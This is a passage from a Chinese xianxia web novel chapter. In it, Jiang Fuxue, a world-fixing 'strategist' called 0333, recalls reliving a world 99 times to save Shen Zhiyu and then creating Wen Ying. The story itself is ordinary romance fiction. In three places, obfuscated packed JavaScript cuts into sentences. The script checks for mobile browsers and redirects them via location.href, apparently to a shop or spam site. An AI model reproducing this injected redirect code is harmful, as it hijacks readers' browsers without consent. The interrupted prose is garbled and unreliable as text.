“你每次展现出来的情绪,说的话,做的事,也是真实的吗?” 闻樱忽然很古怪地笑起来。 她歪头,问:“如果我展现的情绪是真实的,如果我展现的是真实的我,难道就会有人喜欢我吗?” “不会的,我是二选一时永远的备选项,我是权衡利弊后的弃子,我是永远被掐掉的初花,我是无人问津的种子。” “我一度以为,只要我装的讨人喜欢,嘴甜面善,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982399|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撒娇,会示弱,就会有人爱我。” “可是现在,有人爱我吗?” 姜扶雪:“纪如真知道玉碎在做什么,不也心甘情愿地为她而死吗?” “不,不一样。” 闻樱摇头。 “我不知道面具之下的你是什么样的,又该怎么相信你会心甘情愿的为我而死。承诺这种东西太轻了,上下嘴皮一碰,就能许下海誓山盟,我不相信你,除非你愿意解答我所有的疑惑,把真话说给我听。” 她脆弱的面容下,是决绝。 她一定要姜扶雪将一颗真心掏给她,否则她永远不会发自内心的相信他。 真心。 她一定要看到真心。 而姜扶雪也不是第一次被她这样问。 他看着她,少女孤注一掷的模样逐渐与前世重合。 她们明明拥有不一样的样貌,就连情绪她也有所隐藏,很少有人会将小师妹和死去十年的玄剑宗大师姐联系起来。 而现在,她将真实的情绪展露一角,她执着的,一腔孤勇地质问着,并将真心的一角露给他看,她在逼他,逼着他交换。 这一刻,她是闻樱,也是沈稚鱼。 可是,他该怎么开口? 无形之中,神限制了他开口说话的能力。 他看着她,久未言语。 其实相较于姜扶雪这个名字,他更熟悉的是攻略者0333. 他本身所在的世界,相较于这个世界而言,是更高维度的存在。这个世界对于他来说,更像是一本书。 身处高纬度的他们,可以看清楚低纬度世界发生的所有事情,以及事情最终的走向。 低纬度世界并非只有一个,他们像是宇宙中的微小尘埃,每一颗尘埃都拥有自己完整的故事线,会按照既定的轨道就这样运行下去。 不过偶尔也有例外。 比如这个世界本来能够达成好结局,但因为主角今天多吃了一个鸡蛋灌饼,就变成了坏结局。 于是这个时候就需要0333他们出马了。 他们更像是监督者,修正这些偏离轨道的错误,保证这些小世界达成完美结局。 这份工作0333已经做了很多年,他一共修正过多少个世界,连他自己都不清楚。他只知道自己的名字在修正排行榜榜一挂了几千年,从未掉下来过。 关于他还有一个传言—— 他从不走爱情线,只走亲情友情线。爱情线是公认的捷径,因为爱情的力量高于一切,然而0333是个异类,死都不走爱情线,说来也奇怪,哪怕这样,也没有他无法攻略成功的小世界。 人们揣测,榜一大佬不会是被爱情伤透了心吧。 其实0333只是觉得,爱情线太麻烦了,偶尔对方还要作一下,来一些你爱我我不爱你,有误会但是我就是不说的剧情。 这样的世界太没效率了。 所以0333对爱情世界敬谢不敏。 这份工作听起来很有意思,其实并不然。 任何有意思的东西,做几十年,几百年,几千年,都会觉得这玩意就是世界上最令人反胃的东西。 如果要维持一个世界运转,监督者最少也要在里面呆个十几年。一个世界十几年,0333不知疲倦地工作了几千年,他像是一只生产线上的驴,又像是一个不知疲倦的机器。 麻木,疲惫,在流水一样的剧情,流水一样的穿越者中穿梭。 救美,偏爱,撒糖。 在她遭逢危难之际适时从天而降,对她伸出援手,温暖她千疮百孔的心脏。 只需要这样,被攻略者就会卸下心防,帮助他们达成一个又一个的成就。 他像是机器人一样,不断地重复这些流程。 59.叛变 对0333而言,这一切就像是游戏。 这种感觉就像是你已经将一个游戏玩到了极致,装备、评分都已经遥遥领先于众人,所有的成就都已经做好,全部的剧情都已经解锁,你已经站在万人之巅,足以感慨一句无敌是多么寂寞。 还能继续玩什么呢? 于是你不断的创新号,练到满级。 再次创新号。再次练到满级。 好无聊。 好累。 0333的心如一潭死水,在日复一日重复的流水线工作中再也掀不起一丝波澜。 直到神又一次降临在他的面前,为他打开了去往另一个世界的通道。 神建议他去试着攻略这个世界。 这个世界0333是有所耳闻的,虽然他从没有攻略过。 因为这是一个以爱情为主线的修仙世界。 在论坛中常常有人提到这个世界,基本是作为新手试炼场而存在。论坛里光是这个世界的攻略没有一万总有一千,攻略成功的概率也极高。 没什么难度。 只要你选对被攻略者。 这本书共有三个可攻略对象。 魔主百里十鸢,拿到的剧本是《霸道魔女爱上我》《他逃她追大家都插翅难飞》《跨越物种的爱情》。 小师妹宁红玉,拿到的剧本是《我们修仙界也有甜宠文》《失忆后我绑定了万人迷系统》《锦鲤女主修仙日常》。 只要选择这两个角色,过程虽然不尽相同,但却一定能够攻略成功。 唯有第三个角色,沈稚鱼。 大家都在论坛避雷,说这个大师姐就是一个坑,谁选谁倒霉,白白浪费积分和穿越次数。 攻略率更是惨淡的0. 神的声音自冥冥虚空之中传来。 “你不想尝试攻略沈稚鱼吗?一个从未被人攻略成功的角色,你难道不好奇原因吗?你是攻略榜榜一,你就没有想过也许你可以打破这个攻略率只有0的魔咒吗?” 能有多难? 0333不以为意。 于是他接下了这个任务,进入到了这个新手世界。 他的身份是玄剑宗隐世大能,周策的唯一亲传弟子,姜扶雪。在上一届的宗门大比中,姜扶雪毫无争议的夺得魁首。 对于他而言,穿越过来的时机正是光风霁月,风光无限之时。 白衣清流高雅,公子清冽如竹。 贴在他身上的标签无非是天之骄子啊,皎皎明月之类的。 而这时候的沈稚鱼已经经历过锁灵渊与魔界一战,正是一无所有,众叛亲离之时。 这对姜扶雪来说,是一个很好的开局。 她灵脉尽断,受尽苦楚,正是最脆弱的时候。 横看竖看,这都是一道送分题。 姜扶雪按照一贯的攻略经验去攻略她,而她的好感度却像打DJ一样跳跃。同样的事情,也许今天做就会增加好感度,明天做就会减少好感度。她看似感动,但是好感度没有增长半分;她看似脸上带着笑容,但往往眼底没有一丝感情。 而关于这个世界的介绍中,沈稚鱼没有成为大反派之前,都是温柔善良,心怀正道的修士。 这真的是设定好的沈稚鱼吗?还是说设定好的人物觉醒了自己的意识? 他陷入了不安中,但即便如此,姜扶雪能成为攻略榜榜一,也不是没有道理的。 他发现沈稚鱼觉醒了自我意识之后,就试着通过相处,去挖掘她觉醒后的人设。 她自仙魔一战后,独自一人居住在风陵渡。 风陵渡是整个锁灵渊环境最恶劣的地方,终年飘雪,寒霜欺骨,在沈稚鱼住进来之前,这里都是惩罚锁灵渊内犯下大错的弟子,让他们面壁苦修之地。 而她住在了这里。 顾怀若和掌门美名其曰是让她在这里疗伤静养,因为她以灵脉封印魔主的代价就是魔焰焚心,日日承受灼烧之苦,兴许冰雪可以缓解她的灼热。 但姜扶雪知道,这点凉意对沈稚鱼而言不过是杯水车薪。 他曾无数次看到她因魔焰噬心捂住胸口,痛苦地蜷缩在地。无数次看到她因魔焰灼烧而难以入眠,熬到天明。 他一次又一次以旁观者的身份,看到她试图重新修炼,但因为灵脉尽断,所以一次又一次失败。 姜扶雪不知道就这样看了她多少年,看她一次次跌倒在地,又一次次重新爬起。看她明明是为了拯救万民苍生才走到今天这个地步,却被玄剑宗外门弟子羞辱,扣下南长老给的续命药,让她给他们磕头才肯把药给她。 看着昔日高高在上的天才,一次又一次被踩进土里。 一个连尊严都被死死按在土里的天才,还是真的天才吗? 他无法克制想要帮她的心情。 这一切就像是某一日,你在路边看到一株纤弱的小花。酷日当空,焦金流石,而她被人踩得东倒西歪,就连根须也暴露在外面,看上去俨然一副死透的模样。 这样一株不起眼的小花,你却为她停下了脚步,将她捧起带回家,移植到花盆中。 所有人都说,0333你很闲吗?这样的花要十个有百个,你这盆看起来都死透了,蔫不拉几的,你指望这花给你开花结果? 但你知道,这花还有一息尚存,还在挣扎着想要爬起来,也许是想看看她能走到什么地步,也许只是无聊透顶的一时消遣,你细心呵护,精心浇水,期待着她有朝一日活过来。 日子如流水一般过去。 忽然有一天,这株小花与你开口说话了。 “听说你每年都参加问世,师兄。”沈稚鱼回过头来看你,轻声问道,“问世问世,那你觉得何谓问世?” 的确,姜扶雪每年都参加问世。一年举办两次问世,他次次都报名。 人人都说沈稚鱼陨落之后,他就是玄剑宗的潜力股。掌门乃至周策都对他每年积极参加问世的态度表达了高度赞誉和全力支持。 而他参加问世的原因不过是因为问世所得的积分,可以在经世堂换取玄冰萃。这些玄冰萃能够在一定程度上缓解沈稚鱼的痛苦。 即便杯水车薪,但聊胜于无。 但是他曾经尝试过不经意间让她发现自己偷偷帮助她的蛛丝马迹,她的好感度不增反降。 于是姜扶雪想了一会儿,搬出了最朴实无华的那个答案:“问人世间,荡不平事。” 这是写在玄剑宗宗规上面的原话。 “是啊。”她若有所思,“问人世间,荡不平事。莫失本心,莫忘来意。” 姜扶雪不明白她说这些话的意思,不过很快,他就看到了自己浇灌的小花开花结果。 虽然,开出的是食人花,结出的是恶魂果。 沈稚鱼叛变了。 在宗门大比上,她一改所有人对她灵脉尽断的刻板印象,大杀四方。所有人都震惊于她灵脉尽断,为什么还能重新修炼,难道这就是天才? 紧接着,天才做出了一个令所有人意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈稚鱼啧了一声,问他:“你怎么不拔剑呢?我还想着跟你切磋一下呢。” 姜扶雪抬眼看她,她坐在枝桠间,不知道等了他们多久。 她已经不再穿在锁灵渊常穿的白色,而是大红色的罗裙,像是流泻的血液。 滴答。 血滴落在他的心尖。 他眼尾殷红,避开了她的目光。 那个邪修……也许应该说那个魔女,什么也没说,从树上跳下来,在芥子囊中掏出锁灵绳,往他面前晃了晃。 “知道这是什么吗?” 姜扶雪黑白分明的眼看着她,那样清雅的,一眼能望的到底的眼神,还是让沈稚鱼稍稍窘迫了一下。 她感觉自己像逼良为娼的坏蛋。 索性演到底,恶狠狠地甩了两圈:“师兄若是懂事的话,就乖乖束手就擒吧!” 他俐落地伸出手,给沈稚鱼弄懵了。 沈稚鱼定定看了他两秒,还是把绳子在他手腕上绕了一圈又一圈。 最后往外抽了抽,确定足够结实后,将绳子往她那边一拽,她平日里扛着重剑走来走去,力气大的出奇,给姜扶雪冷不丁拽了一趔趄。 两人忽然贴得很近。 沈稚鱼笑起来,踮起脚在他眼尾亲了一下。 柔软的唇在他的伤口处抚过。 她伸出小而滑的舌,将血液一扫而尽。 “真乖。” 她说。 60.闻樱 魔女牵起他往自己的老巢走。 两人就这么一前一后走着,中间是泛着蓝色流光的锁灵绳。 姜扶雪感觉自己就像是要被恶霸迎娶进门的小媳妇,中间是一道红绸。恶霸一点都不安分,将红绸甩得飞起。 她大摇大摆地走了几步,又看着他,想了一会儿,让他背自己。 于是他弯腰,背起魔女,往她的老巢晚舟渡走去。 那条路是他走过最长的路。 他却始终觉得不够长。 如果能和她一直,一直走下去,似乎也没什么不好。 他不去想攻略任务,不去想好感度,不去想攻略失败的后果。 不去想她为什么要绑架自己,不去想她是否喜欢自己。 或许是因为这种鸵鸟心态,他和她度过了很长一段没有外人打扰的生活。 不,也许是有的。 他作为玄剑宗的天之骄子,皎皎明月,锁灵渊多次派人来索要他。 沈稚鱼每天天不亮就扛着婴宁剑出去,给他们统统打一遍,直到他们再也不敢来索要姜扶雪。 恶霸就这样绑架了一个良家少男。 外界众人扼腕叹息,这成何体统啊!我们门内新秀第一的清白都毁于一旦了。 沈稚鱼每次从百里十鸢嘴里听到这些外界传闻,都会笑的很开心。 每当这时候,百里十鸢就会提醒她:“我们坏蛋都不这么笑,跟我学,桀桀桀。” 她抱着酒壶,迷迷瞪瞪地鹦鹉学舌:“……桀桀桀!” “再坏一点!硬气起来!我们是邪修,魔修,正道的敌人!桀桀桀。” 沈稚鱼恶狠狠道:“桀桀桀。” 晚上两人到了床上,沈稚鱼熊抱着他,忽然蹦出来了一句桀桀桀。 姜扶雪:…… 百里十鸢每天都在教她什么东西。 他顺着她的动作,手沿着她的蝴蝶骨往上,将她以一种完全占有的姿态箍在怀里不能再乱动。 再然后,低头,将她的怪笑堵在嘴里。 沈稚鱼挣扎,也只剩下呜呜呜的声音。 第二天沈稚鱼从床上爬起来,站在床上气鼓鼓地说:“姜扶雪,和你睡一点都不舒服!演的好累!” 姜扶雪抬手,又一次把她捞下来。 两人又滚到了一处。 过了许久,床帏间的动静终于平息。 沈稚鱼哭唧唧地推开他,滚了两圈静静地躺在床最里侧。 姜扶雪问:“你怎么了?” 沈稚鱼捂着腰侧,哼了两下,欲哭无泪:“腰子疼。” * 沈稚鱼叛出师门之后,宿玉就被锁灵渊拉黑了,只能偷偷摸摸用姜扶雪的窥屏。 每次半夜两个人睡在一块的时候,沈稚鱼都鬼鬼祟祟地把他的宿玉偷过来,藏在被子里面逛锁灵渊的论坛。 偶尔看到两个诋毁自己的言论,想要和别人理论的时候,又想到这是姜扶雪的宿玉,只能作罢。 毕竟姜扶雪在别人眼中,现在还是魔女的阶下囚呢,哪有玩宿玉的权力? 断网! 她每次逛到兴头上的时候,宿玉都会被姜扶雪抽走,然后放到离她最远的地方,把她搂过来,紧紧锁在怀里,只能乖乖睡觉。 沈稚鱼闭上眼睛,姜扶雪把下巴轻轻放在她发顶。 * 顾怀若也来和沈稚鱼打过,昔日的师徒,旧日的恩者,两人每次打的时候排场都很大,总有好事者转播。 沈稚鱼很强,总将顾怀若打的毫无招架之力,但顾怀若这个人不知有什么底牌,沈稚鱼总是杀不掉他。 两人每次打完,都是一身的伤,然后各回各家。 顾怀若回去找宁红玉,两人柔情缱绻,你侬我侬,沈稚鱼以前是个看门的,现在却能回家找姜扶雪,姜扶雪会给她包扎伤口,细细涂药,一点疤痕都不会留下。 但顾怀若每次都是下了死手的,沈稚鱼亦然。 她身上没一块好肉,血糊一片,还能兴奋地跟他讲,自己是怎么把顾怀若打的屁滚尿流,抱头鼠窜。 姜扶雪眼中却只有那些伤口,他单膝跪地,眉目低垂,冰凉的手指带着药膏在伤口上抚过。 涂好药膏,还得打结,他打结的时候稍稍用力,沈稚鱼呜呜叫了两声,嚷着轻点。 他的手几乎是一瞬间泄力。 她不说话了。 姜扶雪包扎完,目光澄净地看着她的伤口,想着要不自己顺带修一修辅助,毕竟她天天不是在杀人,就是在杀人的路上。 心里决定去翻看辅助的书,他抬眼,看到沈稚鱼正在打量他。 他问:“怎么?不疼了吗?” 沈稚鱼摇摇头:“不疼了。” “为什么?” 沈稚鱼想了想,道:“因为我是小鱼呀,只痛七秒。” 这是姜扶雪告诉她的。 鱼的记忆只有七秒。 * 或许是有过这样和睦相处的往事,分离来临的时候总是格外悲痛一些。 这一世,沈稚鱼是被雷劈死的。 姜扶雪赶过去的时候,在他碎裂的目光中,沈稚鱼被一道天雷贯穿而亡。 那一刻,他感觉浑身血液瞬间静止。 心漏跳了一拍。 最先落地的是婴宁剑。 随后是已经死去的瘦弱身影坠落。 属于他的那朵花,亲眼死在了他面前。 0333攻略失败,回到了自己原本的世界。 见到神的那一刻,0333向神提出了交换,他要用大量的积分,换取重新攻略的机会。 神应允了。 于是他一次又一次回到沈稚鱼灵脉尽断,受尽欺辱的那一年。 一次又一次攻略失败。 她不是在杀人,就是在自杀。 她的自毁绝非姜扶雪一人能够阻止。 这一次她死于邪修的走火入魔。姜扶雪重生,帮她理顺灵气,避免走上走火入魔的老路。 但她还是死了。这一世她被数不清的正道修士围剿,死于晚舟渡。姜扶雪重生,主动把自己送上门作人质。 又一次死亡。这一世她被魔焰自体内焚烧殆尽,姜扶雪重生,寻找所有传闻中可以压制魔焰的异宝。 他不断的用积分进行一场豪赌,赌到最后双眼通红,一次又一次把积分投入到这个世界。 重生,攻略,身死,读档。 再重生,再攻略,再身死,再读档。 终于,攻略榜榜一那一长串天文数字也有用尽的那一天。 沈稚鱼死了,这是第九十九次。 他又一次见到了神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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神将捏造的权力交给了0333. 他将赋予她极致的美貌,无与伦比的天赋,还有生生跳跃的心脏。 ——那么名字呢? 神问。 “闻樱。”他说。 听闻樱花盛开的时节,就是春日。 他将相逢的日子定在春日。 春是冬的新生,新生是死亡的序曲。 这是最后一次与你相见,也许在这之后我会永坠地狱,但我已经见过最美的春天。 你是悲悯的神,我是麻木的异客,但请允许我追随你。 闻樱,我将是你最忠诚的信徒。 从这一刻开始,他成为了姜伞,而非攻略者0333. ——“所以。” 闻樱看着他:“还是不能告诉我对吗?” 淡色的唇微不可察的动了动。 闻樱慢慢笑起来。 她忽然觉得这样很没意思。 好容易掀开一角的真心又被她藏了起来,她看着姜扶雪,眨了眨眼。 “那我们分道扬镳吧,师兄。”